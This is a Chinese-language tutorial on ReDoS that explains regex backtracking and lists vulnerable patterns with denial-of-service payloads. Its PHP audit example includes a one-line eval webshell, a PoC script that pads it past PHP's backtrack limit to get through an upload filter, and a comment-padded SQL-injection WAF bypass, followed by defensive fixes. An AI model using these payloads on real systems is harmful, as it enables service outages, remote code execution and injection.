DOS为拒绝服务攻击,re
则是由于正则表达式使用不当,陷入正则引擎的回溯陷阱导致服务崩溃,大量消耗后台性能
正则
探讨redos攻击之前,首先了解下正则的一些知识
执行过程
- 大体的执行过程分为: 编译 -> 执行
- 编译过程中,首先进行预编译,然后进入编译阶段
- 执行的时候利用正则引擎进行匹配,最终得出匹配成功or失败
- 编码过程中尽量使用预编译,并将预编译结果临时保存到全局变量,预编译的速度要比即用编辑快!
# -*- coding:utf-8 -*-
import re
import time
pattern = r"http:\/\/(?:.?\w+)+"
text = r'<a href="http://www.xxx.com">xxx.com</a>'
# 预编译
pattern_compile = re.compile(pattern)
time_begin = time.time()
for i in range(5000000):
pattern_compile.match(text)
print("compile total time = {0}".format(time.time() - time_begin))
time_begin = time.time()
# 未使用预编译
for i in range(5000000):
re.match(pattern, text)
print("not compile total time = {0}".format(time.time() - time_begin))
>>>
compile total time = 3.97600007057
not compile total time = 11.0629999638
正则引擎
- DFA-确定型有穷自动机
- 捏着文本串去比较正则式,看到一个子正则式,就把可能的匹配串全标注出来,然后再看正则式的下一个部分,根据新的匹配结果更新标注
- 文本串中每一个字符串只扫描一次,速度快,特征少
- 文本主导,按照文本的顺序执行(确定型)
- 没有回溯的过程,不能使用断言等正则高级语法
- NFA-非确定性有穷自动机
- 捏着正则式去比文本,吃掉一个字符,就把它跟正则式比较,匹配就记下来:“where when匹配上了!”,接着往下干。一旦不匹配,就把刚吃的这个字符吐出来,一个个的吐,直到回到上一次匹配的地方
- 反复吞吐文本字符,速度慢,特征丰富
- 表达式主导,按照表达式主导执行
- 有回溯的过程,能使用断言等正则高级语法
正则引擎使用场景
引擎类型 | 程序 |
---|---|
DFA | awk(大多数版本)、egrep(大多数版本)、flex、lex、MySQL、Procmail |
传统型 NFA | GNU Emacs、Java、grep(大多数版本)、less、more、.NET语言、PCRE library、Perl、PHP(所有三套正则库)、Python、Ruby、set(大多数版本)、vi |
POSIX NFA | mawk、Mortice Lern System's utilities、GUN Emacs(明确指定时使用) |
DFA/NFA混合 | GNU awk、 GNU grep/egrep、 Tcl |
- 概括下,大多数高级语言都是使用
NFA
正则引擎,功能强大 - 数据库则使用
DFA
正则引擎,如MongoDB
,MySQL
ReDos问题
下面跳出正则部分,开始描述DOS部分
回溯陷阱
前文我们已经提到NFA
正则引擎的自身机制导致正则匹配有回溯的问题
eg: text = "aaaaaaaaaaaaaa", pattern=/^(a*)b$/
(a*)
,匹配到了文本中的aaaaaaaaaaaaaa
- 匹配正则中
b
无法匹配,text
中的所有的a都被(a*)
吃了 - 开始吐,吐一个a不行
- 继续吐......
- 到最后都不能匹配,如果文本a过多,回溯次数过多,Dos拒绝服务
- 如果一个正则表达式有多个部分需要回溯,那么次数就是指数型。文本长度为100,两个部分需要回溯,则100^2 = 10000次,恐怖
eg:
import re
import time
begin_time = time.time()
re.match("^(a+)+$", r"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!")
print("total time = {0}".format(time.time() - begin_time))
>>>
total time = 31.8870000839
一些ReDos样例
- (a+)+
- ([a-zA-Z]+)*
- (a|aa)+
- (a|a?)+
- (.*a){x} | for x > 10
Payload: "aaaaaaaaaaaaaaaaaa!"
一些业务场景
- Person Name:
- Regex:
^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*$
- Payload:
aaaaaaaaaaaaaaaaaaaaaaaaaaaa!
- Regex:
- Java Classname
- Regex:
^(([a-z])+.)+[A-Z]([a-z])+$
- Payload:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
- Regex:
- Email Validation
- Regex:
^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$
- Payload:
a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
- Regex:
- Multiple Email address validation
- Regex:
^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*\s+<(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})>$|^(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})$
- Payload:
aaaaaaaaaaaaaaaaaaaaaaaa!
- Regex:
- Decimal validator
- Regex:
^\d*[0-9](|.\d*[0-9]|)*$
- Payload:
1111111111111111111111111!
- Regex:
- Pattern Matcher
- Regex:
^([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?\.){0,}([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?){1,63}(\.[a-z0-9]{2,7})+$
- Payload:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
- Regex:
小结下
- 重复分组构造
- 交替重叠
防御&&优化
从开发or安全角度
- 正则表达式书写注意,防止多处回溯(需要开发有一定的正则功底)
- 文本串长度限制
最后的一个例子
一道php代码审计
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
$file_name = 'C:\phpStudy\WWW\xxx\webshell.php';
$user_dir = 'C:\phpStudy\WWW\xxx' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($file_name);
//$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
echo "successful";
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
?>
代码最后的目的是绕过is_php
函数的限制,写入php木马
如下,这个是绕不过正则的
<?php
@eval ($_REQUEST["xxx"]);
?>
- 但是这个正则存在回溯陷阱问题
- php中有最大回溯次数的限制。默认为1000000
payload
'aaa<?php eval($_POST[txt]);//' + 'a' * 1000000
aaaaaaaa...aaaaaaaa
会吃完正则中第一个.*
,但是该payload不会匹配[(
;?>]`,所以只能吐,进入回溯陷阱
生成POC文件
# -*- coding:utf-8 -*-
# print('aaa<?php eval($_POST[txt]);//' + 'a' * 1000000)
filename = 'webshell_flag.php'
with open(filename, 'w') as file_object:
file_object.write('aaa<?php eval($_POST[txt]);//' + 'a' * 1000000)
成功绕过
其它:
- waf - 1
<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {
die('SQL Injection');
}
- waf - 2
<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {
die('SQL Injection');
}
payload: UNION/*aaaaa*/SELECT
(aaaaa吃掉第一个.+?,后续发现 S 和 * 不匹配,导致开始吐,进入陷阱)
上述的防御
- 用
preg_match
对字符串进行匹配,一定要使用===
全等号来判断返回值
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(is_php($input) === 0) {
// fwrite($f, $input); ...
}
- 因为正常情况返回 0, 1 ,超过回溯次数返回False